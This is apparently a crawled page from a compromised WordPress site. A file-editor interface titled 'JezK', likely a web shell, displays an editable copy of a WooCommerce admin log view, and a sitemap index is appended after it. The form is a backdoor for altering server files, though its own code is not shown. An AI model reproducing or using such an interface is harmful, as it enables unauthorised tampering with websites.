
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: html-admin-page-status-logs-db.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Admin View: Page - Status Database Logs
 *
 * @package WooCommerce\Admin\Logs
 */

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}

$delete_confirmation_js = sprintf(
	&quot;return window.confirm( &#039;%s&#039; )&quot;,
	esc_js( __( &#039;Are you sure you want to clear all logs from the database?&#039;, &#039;woocommerce&#039; ) )
);
?&gt;
&lt;form method=&quot;get&quot; id=&quot;mainform&quot;&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;page&quot; value=&quot;wc-status&quot; /&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;tab&quot; value=&quot;logs&quot; /&gt;

	&lt;?php $log_table_list-&gt;search_box( __( &#039;Search logs&#039;, &#039;woocommerce&#039; ), &#039;log&#039; ); ?&gt;
	&lt;?php $log_table_list-&gt;display(); ?&gt;

	&lt;?php
	submit_button(
		__( &#039;Flush all logs&#039;, &#039;woocommerce&#039; ),
		&#039;delete&#039;,
		&#039;flush-logs&#039;,
		true,
		array(
			&#039;onclick&#039; =&gt; esc_attr( $delete_confirmation_js ),
		)
	);
	?&gt;
&lt;/form&gt;
&lt;script&gt;
	document.addEventListener( &#039;DOMContentLoaded&#039;, function() {
		var contextToggles = Array.from( document.getElementsByClassName( &#039;log-toggle&#039; ) );
		contextToggles.forEach( ( element ) =&gt; {
			element.addEventListener( &#039;click&#039;, ( event ) =&gt; {
				event.preventDefault();
				const button = event.currentTarget;
				const buttonLabel = button.querySelector( &#039;.log-toggle-label&#039; );
				const buttonIcon = button.querySelector( &#039;.dashicons&#039; );
				const context = document.getElementById( &#039;log-context-&#039; + button.dataset.logId );

				switch ( button.dataset.toggleStatus ) {
					case &#039;off&#039;:
						context.style.display = &#039;table-row&#039;;
						buttonLabel.textContent = button.dataset.labelHide;
						buttonIcon.classList.replace( &#039;dashicons-arrow-down-alt2&#039;, &#039;dashicons-arrow-up-alt2&#039; );
						button.dataset.toggleStatus = &#039;on&#039;;
						break;
					case &#039;on&#039;:
						context.style.display = &#039;none&#039;;
						buttonLabel.textContent = button.dataset.labelShow;
						buttonIcon.classList.replace( &#039;dashicons-arrow-up-alt2&#039;, &#039;dashicons-arrow-down-alt2&#039; );
						button.dataset.toggleStatus = &#039;off&#039;;
						break;
				}
			} );
		} );
	} );
&lt;/script&gt;
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
